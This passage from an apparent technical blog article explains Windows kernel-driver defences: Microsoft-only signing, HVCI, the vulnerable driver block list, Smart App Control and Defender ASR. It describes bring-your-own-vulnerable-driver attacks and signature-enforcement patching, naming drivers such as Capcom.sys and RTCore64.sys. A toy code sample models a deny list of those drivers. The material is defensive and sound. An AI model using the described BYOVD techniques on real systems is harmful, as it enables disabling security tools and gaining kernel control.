&lt;p&gt;In August 2016, Microsoft did something the WHQL programme had refused to do for twenty years: it became the only entity that could counter-sign a new Windows kernel driver.&lt;/p&gt;
&lt;p&gt;The transition shipped with Windows 10 version 1607. The KMCS policy page [@ms-kmcs-policy] records the cut precisely: for end-entity certificates issued after 29 July 2015, the chain had to terminate at one of three Microsoft-owned roots -- &lt;em&gt;Microsoft Root Authority 2010&lt;/em&gt;, &lt;em&gt;Microsoft Root Certificate Authority&lt;/em&gt;, or &lt;em&gt;Microsoft Root Authority&lt;/em&gt; -- and the binary had to be counter-signed via the Windows Hardware Dev Center submission portal [@ms-kmcs-policy]. The commercial CAs were out. Microsoft was in, as the single point through which any new third-party kernel driver had to pass.&lt;/p&gt;
&lt;h3&gt;Two pipelines&lt;/h3&gt;
&lt;p&gt;Behind the portal sat two submission paths. The HLK/WHQL path required a full Hardware Lab Kit compatibility test pass on the publisher&apos;s hardware -- the lab kit is the modern incarnation of the WHQL programme, documented on Microsoft Learn [@ms-hlk] [@ms-hlk]. A passing run produced a &quot;Certified for Windows&quot; mark and made the driver eligible for OEM badging and Windows Update distribution. The lighter-friction path, called attestation signing [@ms-attestation], did not require an HLK run [@ms-attestation]. The publisher submitted a CAB containing the driver and supporting metadata. Microsoft&apos;s backend ran a malware scan and an automated policy check; if both passed, Microsoft applied a counter-signature. Attestation-signed drivers, the page notes, ship only to client SKUs.&lt;/p&gt;

The lower-friction post-2016 Microsoft signing path for Windows kernel drivers. The publisher uploads a CAB to the Hardware Dev Center; Microsoft runs malware scanning and an automated policy check; on pass, Microsoft applies its counter-signature. The path replaces full HLK testing for client-only drivers.
&lt;h3&gt;EV certificates as the account-binding primitive&lt;/h3&gt;
&lt;p&gt;Both paths required the publisher to hold an Extended Validation code-signing certificate. The EV cert does not sign the driver image itself; it signs and binds the Hardware Dev Center submission. That gives Microsoft a real-name handle on every kernel-driver publisher. EV certificates ride a strong identity check, cost meaningfully more than commercial OV certs, and live on a hardware token in the publisher&apos;s possession. The 2021 Microsoft Security blog announcing the Vulnerable &amp;amp; Malicious Driver Reporting Center spells the requirement out: &quot;Kernel-mode driver publishers must pass the Hardware Lab Kit (HLK) compatibility tests, malware scanning, and prove their identity through extended validation (EV) certificates.&quot; [@ms-vdrc-blog]&lt;/p&gt;

flowchart LR
    A[Publisher EV cert + driver CAB] --&amp;gt; B[Hardware Dev Center upload]
    B --&amp;gt; C[Malware scan]
    C --&amp;gt; D{HLK required?}
    D -- &quot;Yes&quot; --&amp;gt; E[HLK compatibility test pass]
    D -- &quot;No&quot; --&amp;gt; F[Attestation policy check]
    E --&amp;gt; G[Microsoft counter-sign]
    F --&amp;gt; G
    G --&amp;gt; H[Optional Windows Update distribution]
&lt;h3&gt;The legacy long tail&lt;/h3&gt;
&lt;p&gt;The pivot to Microsoft-only signing closed the door for new drivers. It did not close the door for old ones.&lt;/p&gt;

The KMCS policy page [@ms-kmcs-policy] is candid about the carve-outs: &quot;Cross-signed drivers are still permitted if any of the following are true: The PC was upgraded from an earlier release of Windows to Windows 10, version 1607. Secure Boot is off in the BIOS. Drivers was signed with an end-entity certificate issued prior to July 29th 2015 that chains to a supported cross-signed CA.&quot; [@ms-kmcs-policy]&lt;p&gt;Operationally, every signed-but-vulnerable driver from the 2006-2015 era remains loadable on a meaningful population of Windows machines: upgraded installs, devices with Secure Boot disabled in firmware, and drivers with pre-cutoff end-entity certs whose chains are still valid. &lt;code&gt;Capcom.sys&lt;/code&gt;, &lt;code&gt;RTCore64.sys&lt;/code&gt;, &lt;code&gt;gdrv.sys&lt;/code&gt;, &lt;code&gt;KProcessHacker&lt;/code&gt; -- the entire 2010s BYOVD catalogue -- continues to chain to roots Windows still accepts.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;What attestation signing catches and what it does not&lt;/h3&gt;
&lt;p&gt;The malware scan inside attestation signing looks for known dangerous behaviour. The Microsoft Security blog post on the Vulnerable &amp;amp; Malicious Driver Reporting Center enumerates the categories the backend flags: &quot;Drivers with the ability to read or write arbitrary kernel, physical, or device memory, including Port I/O and central processing unit (CPU) registers from user mode.&quot; [@ms-vdrc-blog] In other words, the scanner already understands the BYOVD pattern.&lt;/p&gt;
&lt;p&gt;What it does not catch are &lt;em&gt;novel&lt;/em&gt; design flaws. A driver whose IOCTL surface is structurally unsafe in a way the scanner does not have a signature for passes the scan and ships with a Microsoft counter-signature. The Capcom.sys pattern is in the scanner&apos;s repertoire today; the pattern in the next driver to ship is, by definition, not.&lt;/p&gt;
&lt;p&gt;A second weakness sits on the publisher side. EV-key compromise -- whether through the LAPSUS$ supply-chain leaks of 2022 or other vendor incidents -- gives the attacker the Microsoft-only-signing flavour of the Stuxnet problem. The signed-by-Microsoft chain is exactly as strong as the EV key&apos;s safekeeping at the publisher.&lt;/p&gt;
&lt;p&gt;One bottleneck for signing is an improvement. But the bottleneck still trusts the kernel that asks the question. As long as the policy engine runs in the same memory the attacker can write, the policy engine loses.&lt;/p&gt;
&lt;h2&gt;6. HVCI: Moving the Policy Out of Reach (2015-present)&lt;/h2&gt;
&lt;p&gt;In July 2015, Microsoft shipped a feature so structurally important that it took six years to become a consumer default, and so misunderstood that it still travels under three different names.&lt;/p&gt;
&lt;p&gt;The names are the easiest place to start. &lt;em&gt;Virtualization-Based Security&lt;/em&gt; (VBS) is the platform: a Hyper-V-rooted virtualisation layer that exists on every modern Windows installation that meets the hardware requirements. &lt;em&gt;Hypervisor-protected Code Integrity&lt;/em&gt; (HVCI) is the kernel-code-integrity consumer of VBS. &lt;em&gt;Memory Integrity&lt;/em&gt; is the label the Windows Security UI uses today. The Microsoft Learn page on Memory Integrity [@ms-hvci-vbs] is the canonical primary source [@ms-hvci-vbs]. TrustedSec called out the conflation explicitly in their &lt;code&gt;g_CiOptions in a virtualized world&lt;/code&gt; post [@trustedsec-gcioptions] [@trustedsec-gcioptions].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; A security check that shares a trust domain with what it is checking has, by definition, already lost. HVCI moves the check out of the attacker&apos;s trust domain. It is the answer to &lt;em&gt;who decides&lt;/em&gt;. It is not the answer to &lt;em&gt;what gets decided&lt;/em&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That sentence is the second of this article&apos;s three reframes, and the one that makes everything that follows make sense.&lt;/p&gt;
&lt;h3&gt;VBS and the Virtual Trust Levels&lt;/h3&gt;
&lt;p&gt;On a VBS-on Windows machine, &lt;a href=&quot;https://paragmali.com/blog/above-ring-zero-how-the-windows-hypervisor-became-a-security/&quot; rel=&quot;noopener&quot;&gt;Hyper-V&lt;/a&gt; is the Type-1 hypervisor. The bootloader brings the hypervisor up first, the hypervisor brings up two execution environments side by side, and the normal Windows kernel runs in one of them while a much smaller &lt;a href=&quot;https://paragmali.com/blog/the-windows-secure-kernel/&quot; rel=&quot;noopener&quot;&gt;Secure Kernel&lt;/a&gt; runs in the other.&lt;/p&gt;

The VBS abstraction that partitions a Windows installation into two execution environments. VTL0 is the normal Windows kernel and its drivers. VTL1 is a much smaller Secure Kernel and a curated set of &quot;trustlets&quot; -- isolated user-mode processes that hold the most sensitive secrets. VTL1 can read and write VTL0 memory; VTL0 cannot read or write VTL1 memory. Code-integrity policy lives in VTL1.
&lt;p&gt;The Code Integrity engine on an HVCI-on machine -- signature verification and policy-file consultation -- runs inside VTL1&apos;s Secure Kernel as the &lt;em&gt;Secure Kernel Code Integrity&lt;/em&gt; component, SKCI. The VTL0 kernel cannot read or write VTL1 memory by hardware construction: the hypervisor&apos;s second-level address translation tables, programmed before VTL0 ever runs, mark VTL1 pages as unreachable from VTL0. The in-memory &lt;code&gt;g_CiOptions&lt;/code&gt; state continues to reside in &lt;code&gt;ci.dll&lt;/code&gt;&apos;s VTL0 data section -- it does not relocate into VTL1 -- but on an HVCI-on machine Kernel Data Protection (KDP), exposed to VTL0 drivers as &lt;code&gt;MmProtectDriverSection&lt;/code&gt;, asks the Secure Kernel to mark the containing page read-only at the SLAT level. A fully compromised VTL0 kernel -- with kernel debugging attached, with all of ring zero&apos;s privileges -- cannot rewrite &lt;code&gt;g_CiOptions&lt;/code&gt; to zero, because the SLAT mapping refuses the write.&lt;/p&gt;

flowchart TD
    subgraph VTL1 [VTL1 -- Secure Kernel]
        SK[Secure Kernel]
        SKCI[SKCI -- Code Integrity]
        Policy[&quot;Code Integrity policy&lt;br /&gt;(DriverSiPolicy.p7b)&quot;]
        SK --&amp;gt; SKCI
        SKCI --&amp;gt; Policy
    end
    subgraph VTL0 [VTL0 -- Normal Windows]
        Kern[NT Kernel]
        Drv[Driver attempting load]
        CI[ci.dll user-side]
        Kern --&amp;gt; CI
        CI --&amp;gt; Drv
    end
    Hypervisor{&quot;Hyper-V SLAT&quot;}
    Kern --&amp;gt;|&quot;Section create&quot;| Hypervisor
    Hypervisor --&amp;gt;|&quot;Forward&quot;| SKCI
    SKCI --&amp;gt;|&quot;Allow or deny&quot;| Hypervisor
    Hypervisor --&amp;gt;|&quot;Result&quot;| Kern
&lt;h3&gt;W^X on kernel memory&lt;/h3&gt;
&lt;p&gt;There is a second, equally structural property HVCI enforces. When the VTL0 kernel tries to map an executable section -- to create a kernel-executable page from a PE image -- the hypervisor forces the request through SKCI. SKCI verifies the Authenticode signature &lt;em&gt;at section creation time&lt;/em&gt;, not only at the &lt;code&gt;IoLoadDriver&lt;/code&gt; entry point a load goes through later [@ms-hvci-vbs]. And SKCI refuses any page that is simultaneously writable and executable. The classic exploitation technique of allocating a writable kernel buffer, writing shellcode into it, and then jumping to it stops working: the page either is writable, in which case it is not executable, or is executable, in which case it is not writable.&lt;/p&gt;
&lt;p&gt;The hardware acceleration matters. The Memory Integrity page [@ms-hvci-vbs] is unusually direct about the requirement: &quot;Memory integrity works better with Intel Kabylake and higher processors with Mode-Based Execution Control, and AMD Zen 2 and higher processors with Guest Mode Execute Trap capabilities. Older processors rely on an emulation of these features, called Restricted User Mode, and will have a bigger impact on performance.&quot; [@ms-hvci-vbs]Mode-Based Execute Control (MBEC) is the Intel feature that lets the hypervisor distinguish &quot;executable in supervisor mode&quot; from &quot;executable in user mode&quot; at the page-table-entry level. AMD&apos;s Guest Mode Execute Trap (GMET) is the structurally equivalent feature. Older silicon falls back to Restricted User Mode emulation, which works correctly but pays a meaningfully larger performance tax. The hardware cutoff is a major reason HVCI defaulted off on pre-2017 OEM hardware for years.&lt;/p&gt;
&lt;h3&gt;What HVCI fixed&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;g_CiOptions&lt;/code&gt; patching family, the third bypass we met in section 4, closes on HVCI-on systems. TrustedSec&apos;s post [@trustedsec-gcioptions] gives a clean account: &lt;code&gt;g_CiOptions&lt;/code&gt; still lives in &lt;code&gt;ci.dll&lt;/code&gt;&apos;s VTL0 data section, but Kernel Data Protection -- exposed to VTL0 drivers as &lt;code&gt;MmProtectDriverSection&lt;/code&gt; -- asks the Secure Kernel in VTL1 to mark its containing page read-only at the SLAT level, so a VTL0 ring-zero write to it faults; the VTL0 kernel cannot rewrite the variable; live-kernel debuggers attached to VTL0 cannot rewrite it either [@trustedsec-gcioptions]. The arbitrary-write-to-disable-DSE pattern that worked on Windows 7 through pre-HVCI Windows 10 is, on an HVCI-on Windows 11, no longer a primitive that exists in the attacker&apos;s threat model. The trust domain that decides the policy is not the trust domain the attacker can reach.&lt;/p&gt;
&lt;h3&gt;What HVCI did not fix&lt;/h3&gt;
&lt;p&gt;It is essential to be clear about what HVCI does not catch, because misreading this is how the BYOVD class survives.&lt;/p&gt;
&lt;p&gt;HVCI verifies the &lt;em&gt;signature&lt;/em&gt; and enforces W^X. It does not analyse the driver&apos;s &lt;em&gt;behaviour&lt;/em&gt;. The 2019 &lt;code&gt;RTCore64.sys&lt;/code&gt; driver passes SKCI section-mapping unchanged: it is signed by MSI through a Microsoft-recognised chain, it has no writable-and-executable pages, and the Authenticode hash on disk matches the binary in memory. After it loads, an attacker in user mode sends an IOCTL; the driver, executing legitimately in ring zero, writes attacker-controlled bytes to an attacker-chosen kernel address; the EDR notify routine table is patched; the BYOVD attack proceeds. Everything that happens inside the IOCTL handler happens with kernel privilege, on properly-signed code paths, inside HVCI&apos;s W^X policy. The structural BYOVD class is unaffected.&lt;/p&gt;
&lt;p&gt;That is the gap the next two sections close.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The Memory Integrity page [@ms-hvci-vbs] is explicit that &quot;some applications and hardware device drivers may be incompatible with memory integrity. This incompatibility can cause devices or software to malfunction and in rare cases may result in a boot failure (blue screen).&quot; [@ms-hvci-vbs] For years OEM and gaming-system vendors shipped with HVCI off because legacy ISV drivers, anti-cheat kernel components, or older virtualisation tools could not coexist with it. On an HVCI-off system the &lt;code&gt;g_CiOptions&lt;/code&gt; patching family is back in play, the kernel-CI engine and the kernel it polices are in the same trust domain, and the analysis of section 4 applies unchanged. The 2026 default-on baseline is real, but it is not yet universal.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;HVCI is the answer to &lt;em&gt;who decides&lt;/em&gt;. It is not the answer to &lt;em&gt;what gets decided&lt;/em&gt;. We still need a way to say: this specific signed binary is one we do not trust.&lt;/p&gt;
&lt;h2&gt;7. The Block List: Naming the Weakness (2020-present)&lt;/h2&gt;
&lt;p&gt;In October 2020, Microsoft started shipping something it had spent twenty-five years avoiding: a list of specific drivers it would refuse to load by name.&lt;/p&gt;
&lt;p&gt;The artefact lives at &lt;code&gt;%windir%\system32\CodeIntegrity\DriverSiPolicy.p7b&lt;/code&gt;. The file is a PKCS#7-signed &lt;a href=&quot;https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/&quot; rel=&quot;noopener&quot;&gt;App Control for Business&lt;/a&gt; policy -- &quot;WDAC&quot; by its former name -- whose body consists of deny rules expressed at the granularity of file hash, file name, or publisher. The canonical Microsoft-recommended driver block rules page [@ms-driver-block-rules] is the primary source, and is unusually rich for a Microsoft Learn page [@ms-driver-block-rules].&lt;/p&gt;

Microsoft&apos;s policy-driven application-control engine. An App Control policy is a signed XML or binary file that lists allow rules, deny rules, and signer-level rules; at load time, the policy engine consults the rules and either allows or refuses the image. `DriverSiPolicy.p7b` is itself an App Control policy whose body is all deny rules.
&lt;h3&gt;Cadence and the published-vs-shipped gap&lt;/h3&gt;
&lt;p&gt;The block list is refreshed on two cadences. Microsoft publishes the source XML on the block-rules page [@ms-driver-block-rules] on a quarterly schedule and pushes the binary &lt;code&gt;DriverSiPolicy.p7b&lt;/code&gt; to client devices through monthly Windows servicing [@ms-driver-block-rules]. Microsoft&apos;s Security Baselines team also publishes a running update post [@ms-tc-blocklist-baselines] cataloguing the changes [@ms-tc-blocklist-baselines].&lt;/p&gt;
&lt;p&gt;The candid admission on the block-rules page [@ms-driver-block-rules] is the part of the story that is most worth understanding.&lt;/p&gt;

The blocklist included in this article and in the associated downloadable files usually contains a more complete set of known vulnerable drivers than the version in the OS and delivered by Windows Update. It&apos;s often necessary for us to hold back some blocks to avoid breaking existing functionality. -- Microsoft Learn, *Microsoft-recommended driver block rules* [@ms-driver-block-rules]
&lt;p&gt;The published list is, on purpose, more inclusive than the shipped list. The reason is operational: every entry in the shipped list is a driver that would refuse to load on millions of devices, some of which have legitimate dependencies. Microsoft holds entries back when the compatibility cost is too high, even when the security signal is strong. We will come back to whether that gap is closeable in section 9.&lt;/p&gt;
&lt;h3&gt;The 22H2 cut and the Server 2016 carve-out&lt;/h3&gt;
&lt;p&gt;Two dates anchor the deployment story.&lt;/p&gt;
&lt;p&gt;The block list was an &lt;em&gt;optional&lt;/em&gt; feature in Windows 10 1809, enabled by default only on systems that ran Hypervisor-protected Code Integrity, Smart App Control, or Windows in S-mode [@ms-kb5020779] [@ms-kb5020779]. With the Windows 11 2022 Update, also known as 22H2 [@ms-blogs-win11-2022], released on 20 September 2022, default-on coverage extended to every client device, not just the HVCI-on subset [@ms-blogs-win11-2022]. The 22H2 release is the moment the block list became universal Windows client behaviour, six years after the first BYOVD primitive that motivated it.&lt;/p&gt;
&lt;p&gt;The block-rules page [@ms-driver-block-rules] notes a single explicit carve-out worth flagging.&quot;Except on Windows Server 2016, the vulnerable driver blocklist is also enforced when either memory integrity (also known as hypervisor-protected code integrity or HVCI), Smart App Control, or S mode is active.&quot; [@ms-driver-block-rules] Windows Server 2016 does not get the default-on block list even when HVCI is on. An enterprise admin managing Server 2016 has to deploy an explicit App Control policy to get the same coverage. The October 2022 preview cycle saw a documented quirk -- KB5020779 [@ms-kb5020779] explains that a preview release shipped without an actual blocklist refresh, addressed by a subsequent servicing update [@ms-kb5020779].The KB5020779 episode is a useful reminder that the in-box block list ships through the same Windows Update cycle as everything else. Preview releases do not always carry a fresh policy, and the cadence on the block-rules page [@ms-driver-block-rules] describes the intended steady state rather than every individual update [@ms-driver-block-rules].&lt;/p&gt;
&lt;h3&gt;Naming the weakness, not the publisher&lt;/h3&gt;
&lt;p&gt;For the first time in the story, the question Windows asks at load time is not only &lt;em&gt;who signed this binary?&lt;/em&gt; but also &lt;em&gt;is this specific signed binary one we have learned is unsafe?&lt;/em&gt; The block list is a step the previous generations could not have taken with the primitives they had: it requires a deny list that can be authored after the fact, distributed quickly, and enforced inside a trust domain the attacker cannot reach. KMCS supplied the load-time enforcement primitive; HVCI supplied the immune-from-VTL0 enforcement context; only with both in place could &lt;code&gt;DriverSiPolicy.p7b&lt;/code&gt; actually do its job.&lt;/p&gt;

flowchart TD
    A[Driver image requested for load] --&amp;gt; B[Hypervisor mediates section create]
    B --&amp;gt; C[SKCI verifies Authenticode chain]
    C --&amp;gt; D{&quot;Chain OK?&quot;}
    D -- &quot;No&quot; --&amp;gt; X[Refuse]
    D -- &quot;Yes&quot; --&amp;gt; E[Consult DriverSiPolicy.p7b deny rules]
    E --&amp;gt; F{&quot;Hash, name, or signer on deny list?&quot;}
    F -- &quot;Yes&quot; --&amp;gt; X
    F -- &quot;No&quot; --&amp;gt; G[Allow section creation]
    G --&amp;gt; H[Driver maps into kernel address space]
&lt;h3&gt;The Vulnerable &amp;amp; Malicious Driver Reporting Center&lt;/h3&gt;
&lt;p&gt;The block list grew faster after Microsoft built a structured channel to feed it. The December 2021 Microsoft Security blog post [@ms-vdrc-blog] announced the Vulnerable &amp;amp; Malicious Driver Reporting Center: a portal where researchers and vendors can submit kernel drivers for evaluation, backed by an automated analysis pipeline that looks for the BYOVD primitives -- &quot;the ability to read or write arbitrary kernel, physical, or device memory, including Port I/O and central processing unit (CPU) registers from user mode.&quot; [@ms-vdrc-blog] The post explicitly lists the historical CVE backdrop that motivated the centre, naming RobinHood, Uroburos, Derusbi, GrayFish, and Sauron as families that leveraged driver vulnerabilities such as CVE-2008-3431, CVE-2013-3956, CVE-2009-0824, and CVE-2010-1592 [@ms-vdrc-blog].&lt;/p&gt;
&lt;p&gt;The same post anchors the EV-certificate publisher requirement and the HLK or attestation gating that produces the block list&apos;s inputs in the first place. The reporting centre is the path by which a flagged driver moves from &quot;spotted in research&quot; to &quot;deny rule in the next quarterly XML push&quot;.&lt;/p&gt;
&lt;h3&gt;Defender ASR as the HVCI-off coverage path&lt;/h3&gt;
&lt;p&gt;There is a third surface worth knowing about. Microsoft&apos;s Attack Surface Reduction rules [@ms-asr-rules] include &quot;Block abuse of exploited vulnerable signed drivers&quot; (&lt;code&gt;56a863a9-875e-4185-98a7-b882c64b5ce5&lt;/code&gt;) as part of the standard ASR protection set [@ms-asr-rules]. For Microsoft Defender for Endpoint customers on Windows 10 E3 or E5, the rule covers machines where HVCI is not on. Microsoft notes that &quot;the same blocklist is also used by Microsoft Defender Antivirus customers&quot; via the ASR rule [@ms-vdrc-blog]. The path is narrower than HVCI-rooted enforcement -- Defender has to be running, the rule has to be enabled -- but it extends the block list to enterprise environments that have not yet flipped HVCI on.&lt;/p&gt;
&lt;h3&gt;LOLDrivers and the dual-use externality&lt;/h3&gt;
&lt;p&gt;The block list is not the only catalogue of vulnerable Windows drivers. The community-maintained LOLDrivers project [@loldrivers-io] -- &quot;Living Off The Land Drivers&quot; -- collects vulnerable, malicious, and known-malicious Windows drivers in one place. Every entry carries YAML metadata and where possible YARA, Sigma, ClamAV, and Sysmon rules, plus a pre-compiled App Control deny policy that can be deployed standalone [@gh-loldrivers] [@loldrivers-io]. As of the source verification for this article, LOLDrivers carried approximately 2,132 driver entries -- considerably more than the Microsoft-shipped list.&lt;/p&gt;
&lt;p&gt;Check Point Research called out the dual-use problem in their 2024 piece [@cpr-byovd]: a public catalogue of vulnerable drivers is also a reading list for attackers. The same researchers ran the methodology in reverse: &quot;we conducted a mass hunt for new drivers that may be vulnerable, uncovering thousands of potentially at-risk drivers.&quot; [@cpr-byovd] Defenders use the list for hardening; attackers use it for shopping. Both effects are real.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Defenders who can tolerate compatibility risk can compile the source XML from the block-rules page [@ms-driver-block-rules] into an App Control policy and deploy it directly, picking up the entries Microsoft holds back from the in-box list. Optionally layer the LOLDrivers App Control policy [@gh-loldrivers] on top for community-curated coverage. Test in audit mode first -- both lists are more aggressive than the shipped baseline and may flag drivers your environment depends on [@ms-driver-block-rules] [@gh-loldrivers].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;A WDAC rule evaluator, in miniature&lt;/h3&gt;
&lt;p&gt;The semantics of an App Control policy are simple enough to model in a few lines. Deny rules win; allow rules are consulted next; the default action handles whatever is left.&lt;/p&gt;
&lt;p&gt;{`
// Simplified model of the App Control / WDAC rule-evaluation engine.
// Deny rules win, allow rules permit the remainder, and an explicit
// default action handles images neither denied nor allowed.&lt;/p&gt;
&lt;p&gt;const policy = {
  denyByHash:    new Set([&quot;c1d5cf8c43e7679b782630e93f5e6420ca1749a7&quot;]), // Capcom.sys
  denyByName:    new Set([&quot;RTCore64.sys&quot;]),
  denyBySigner:  new Set([&quot;CN=Some Compromised Publisher, O=Example&quot;]),
  allowBySigner: new Set([&quot;CN=Microsoft Windows, O=Microsoft Corporation&quot;]),
  defaultAction: &quot;BLOCK&quot;,
};&lt;/p&gt;
&lt;p&gt;function evaluate(image, policy) {
  if (policy.denyByHash.has(image.sha1)) return &quot;BLOCK (hash on deny list)&quot;;
  if (policy.denyByName.has(image.fileName)) return &quot;BLOCK (name on deny list)&quot;;
  if (policy.denyBySigner.has(image.signer)) return &quot;BLOCK (signer on deny list)&quot;;
  if (policy.allowBySigner.has(image.signer)) return &quot;ALLOW (signer on allow list)&quot;;
  return policy.defaultAction === &quot;ALLOW&quot;
    ? &quot;ALLOW (default)&quot;
    : &quot;BLOCK (default)&quot;;
}&lt;/p&gt;
&lt;p&gt;const cases = [
  { sha1: &quot;c1d5cf8c43e7679b782630e93f5e6420ca1749a7&quot;, fileName: &quot;Capcom.sys&quot;,
    signer: &quot;CN=CAPCOM Co., Ltd.&quot; },
  { sha1: &quot;0000000000000000000000000000000000000000&quot;, fileName: &quot;RTCore64.sys&quot;,
    signer: &quot;CN=Micro-Star International Co., Ltd.&quot; },
  { sha1: &quot;1111111111111111111111111111111111111111&quot;, fileName: &quot;ntfs.sys&quot;,
    signer: &quot;CN=Microsoft Windows, O=Microsoft Corporation&quot; },
];
for (const c of cases) console.log(c.fileName, &quot;-&amp;gt;&quot;, evaluate(c, policy));
`}&lt;/p&gt;
&lt;p&gt;Naming the weakness is genuinely new. But the list only ever lists what someone has already found. The window between disclosure and enforcement is months, and Microsoft documents that the shipped list is by design weaker than the published one. What gets the rest of the way?&lt;/p&gt;
&lt;h2&gt;8. The 2026 Stack: Defence in Depth Made Concrete&lt;/h2&gt;
&lt;p&gt;On a default-configured Windows 11 22H2 machine in 2026, a kernel driver that tries to load passes through five distinct gates. Each one closes a blind spot the previous one cannot reach.&lt;/p&gt;
&lt;p&gt;The order matters, and so do the dependencies. The gates are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Kernel-Mode Code Signing.&lt;/strong&gt; The Authenticode chain must terminate at a Microsoft-owned root. The chain check rejects unsigned drivers and drivers chained to non-Microsoft roots, except under the documented grandfathering carve-outs [@ms-kmcs-policy] [@ms-kmcs-policy].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Vulnerable Driver Block List.&lt;/strong&gt; SKCI consults &lt;code&gt;DriverSiPolicy.p7b&lt;/code&gt; for hash, file-name, and signer-level deny rules. The list is default-on for every client device since Windows 11 22H2 [@ms-blogs-win11-2022], and is updated quarterly through Microsoft Learn&apos;s published source XML and monthly through Windows servicing [@ms-driver-block-rules] [@ms-blogs-win11-2022].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HVCI / SKCI.&lt;/strong&gt; The Code Integrity engine runs in VTL1, verifies signatures at section-mapping time rather than only at &lt;code&gt;IoLoadDriver&lt;/code&gt;, and enforces W^X on kernel memory. The policy engine is structurally out of reach of a fully compromised VTL0 kernel [@ms-hvci-vbs].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;App Control / Smart App Control.&lt;/strong&gt; Enterprise admins author explicit App Control allowlists; consumer devices on clean Windows 11 installs run Smart App Control [@ms-sac-faq], a Microsoft-authored allowlist policy backed by cloud reputation [@ms-sac-faq] [@ms-appcontrol].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Defender ASR.&lt;/strong&gt; On Microsoft Defender for Endpoint deployments, the &quot;Block abuse of exploited vulnerable signed drivers&quot; ASR rule extends block-list coverage to HVCI-off environments [@ms-asr-rules].&lt;/li&gt;
&lt;/ol&gt;

The Windows 11 22H2+ consumer-facing front end for App Control for Business. SAC enforces a Microsoft-authored policy and supplements it with cloud reputation lookups from the Intelligent Security Graph. SAC is only available on clean installs and is shipped in evaluation mode by default; once turned on, it also unconditionally enforces the vulnerable driver block list [@ms-sac-faq].

The cloud-backed reputation service that Smart App Control consults to predict whether a given binary is safe. When confident, ISG approves the binary; when unconfident, SAC falls back to signature checks; absent both, the binary is blocked [@ms-sac-faq].
&lt;h3&gt;Orthogonality, not redundancy&lt;/h3&gt;
&lt;p&gt;The five gates look redundant from a distance. They are not. Each closes a class of failure the others cannot reach. The orthogonality is the reason for the stack.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Gate&lt;/th&gt;
&lt;th&gt;Catches&lt;/th&gt;
&lt;th&gt;Misses&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;KMCS&lt;/td&gt;
&lt;td&gt;Unsigned and cross-cert-only-signed drivers&lt;/td&gt;
&lt;td&gt;Signed-but-vulnerable drivers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block list&lt;/td&gt;
&lt;td&gt;Known-vulnerable signed drivers (post-disclosure)&lt;/td&gt;
&lt;td&gt;Unknown-vulnerable signed drivers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HVCI / SKCI&lt;/td&gt;
&lt;td&gt;&lt;code&gt;g_CiOptions&lt;/code&gt;-patching from VTL0; writable+executable kernel pages&lt;/td&gt;
&lt;td&gt;Behavioural BYOVD inside a properly-signed driver&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WDAC / SAC&lt;/td&gt;
&lt;td&gt;Anything not on the allowlist (enterprise) or unknown-reputation (consumer)&lt;/td&gt;
&lt;td&gt;Allowlisted drivers with unknown defects&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defender ASR&lt;/td&gt;
&lt;td&gt;Block-list entries on HVCI-off machines (where the rule is enabled)&lt;/td&gt;
&lt;td&gt;Drivers not on Microsoft&apos;s blocklist&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The matrix is the practical justification for the stack. If &lt;code&gt;DriverSiPolicy.p7b&lt;/code&gt; had perfect coverage there would be no need for SAC; if SAC had a complete allowlist there would be no need for the block list; if HVCI proved driver safety rather than driver identity there would be no need for either. None of those preconditions hold, and section 9 explains why they cannot.&lt;/p&gt;
&lt;h3&gt;Smart App Control&apos;s particulars&lt;/h3&gt;
&lt;p&gt;SAC merits a few specifics because its behaviour differs from the rest of the stack in ways that surprise readers. First, it is consumer-facing and only available on clean Windows 11 installs -- an upgrade does not get SAC. Second, SAC ships in &lt;em&gt;evaluation mode&lt;/em&gt; by default. Windows watches user behaviour, and if the user mostly runs cloud-reputable software, SAC quietly flips to &lt;em&gt;enforce&lt;/em&gt;; if the user runs a lot of niche or self-developed software, SAC quietly flips to &lt;em&gt;off&lt;/em&gt;. Third, until a 2024 servicing change [@ms-sac-faq] made SAC re-enableable from Windows Security, turning SAC off used to require a clean install to bring it back [@ms-sac-faq]. Fourth, on enterprise-managed devices, SAC turns itself off automatically after 48 hours; managed environments are expected to deploy WDAC instead [@ms-appcontrol].&lt;/p&gt;
&lt;p&gt;The cold-start failure mode is worth knowing. A small independent hardware vendor whose driver has never been seen at scale lacks a cloud reputation when SAC asks about it. The fallback is signature, but a signed driver from an unknown publisher does not always clear SAC&apos;s confidence threshold. Small IHVs occasionally find their drivers blocked on consumer hardware running SAC for that reason alone.&lt;/p&gt;

flowchart TD
    A[Driver image requested] --&amp;gt; B[Gate 1: KMCS Authenticode chain]
    B --&amp;gt; C{&quot;Microsoft-rooted?&quot;}
    C -- &quot;No&quot; --&amp;gt; X[Refuse]
    C -- &quot;Yes&quot; --&amp;gt; D[Gate 2: DriverSiPolicy.p7b]
    D --&amp;gt; E{&quot;On block list?&quot;}
